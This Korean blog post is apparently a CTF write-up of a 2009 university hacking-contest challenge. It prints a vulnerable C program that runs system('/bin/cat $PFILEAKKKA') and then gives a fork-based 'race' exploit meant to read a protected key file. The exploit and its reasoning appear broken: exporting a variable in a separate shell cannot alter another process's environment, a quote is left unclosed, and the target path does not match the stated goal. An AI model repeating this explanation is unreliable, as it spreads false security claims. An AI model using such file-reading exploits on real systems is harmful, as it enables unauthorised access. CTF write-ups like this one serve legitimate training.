/*
 http://sosal.tistory.com/
 * made by so_Sal
 */

2009 11월 16~17일 24시간동안 진행된
시립대학교 idea bank 해킹대회 chal0 문제입니다.
아래는 문제 소스입니다. (바로 공개되었습니다.)
/home/chal1/keyfile 을 읽어라! 가 문제의 목적입니다.

//----------- 문제 소스 chal0 -------------//

#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char * argv[])
{
   int loop;
   char buffer[512];

   memset(buffer, 0, sizeof(buffer));

   if (argc != 2) return 0;
   if (strlen(argv[1]) >= 30) return 0;

   for (loop = 0; loop < strlen(argv[1]); loop++)
   {
        if (argv[1][loop] != '/' && !isalnum(argv[1][loop]))
        {
                argv[1][loop] = '_'; //특수문자 필터링
        }
   }

   sprintf(buffer, "%s.akkka", argv[1]); //문자열 끝에 akkka 추가
   setenv("PFILEAKKKA", buffer, 1);
   return system("/bin/cat $PFILEAKKKA");
}

// ---------- 문제 소스 ----------- //

특수문자를 필터링하고, 끝에 .akkka를 넣는 점에서
어떻게 해보시려 했다면.. 이미 시간은 over!

이문제의 요점은 마지막 2문장에 있습니다.

   setenv("PFILEAKKKA", buffer, 1);
   return system("/bin/cat $PFILEAKKKA");

PFILEAKKKA 라는 환경변수를 buffer의 값으로 추가하는데,
세번째 인자 1의 뜻은, 이미 똑같은 이름으로 환경변수가 정의되어 있다면
덮어 쓰라는 뜻입니다. 0일 경우에, 이미 같은이름의 환경변수가 존재한다면
환경변수를 새로 등록하지 않습니다.
$ + 환경변수 이름 .. 을 통하여 변수처럼 사용할 수 있습니다.

setenv 함수로 PFILEAKKKA
그 값으로 cat 프로그램을 실행시키는데,
우리는 이 두 함수의 사이 간격을 노리면 됩니다.
setenv -> 다시 또 환경변수를 바꿈 -> system("/bin/cat.... ) 실행!!

그렇게 되면 /home/chal1/keyfile 을 읽을 수 있습니다.

저는 다중 프로세스로 코드를 짰습니다.
#include<stdio.h>
#include<stdlib.h>

int main(void){
   pid_t pid;
   pid = fork();
   if(pid==0){
       int i=0;
       for(i=0;i<1000;i++){
          system("/uoscon/chal0 a&"); //프로그램을 동시에 1000번을 실행하면서
       }
   }
   else{
       int i=0;
       for(i=0;i<1000;i++){
           system("export PFILEAKKKA='/home/chal0/keyfile"); //환경변수를 우리가 원하는 값으로 계속 바꿔줍니다.
       }
   }
}

1000번정도만 실행해주면
결국 setenv 와 return system() 함수 사이에 환경변수를 등록하는 부분이 생길것입니다. !!

system 함수에  " > " 다이렉션 기능을 추가해주시면
저장한다면 더 쉽게 답을 찾을 수 있습니다.

Posted by sosal sosal

댓글을 달아 주세요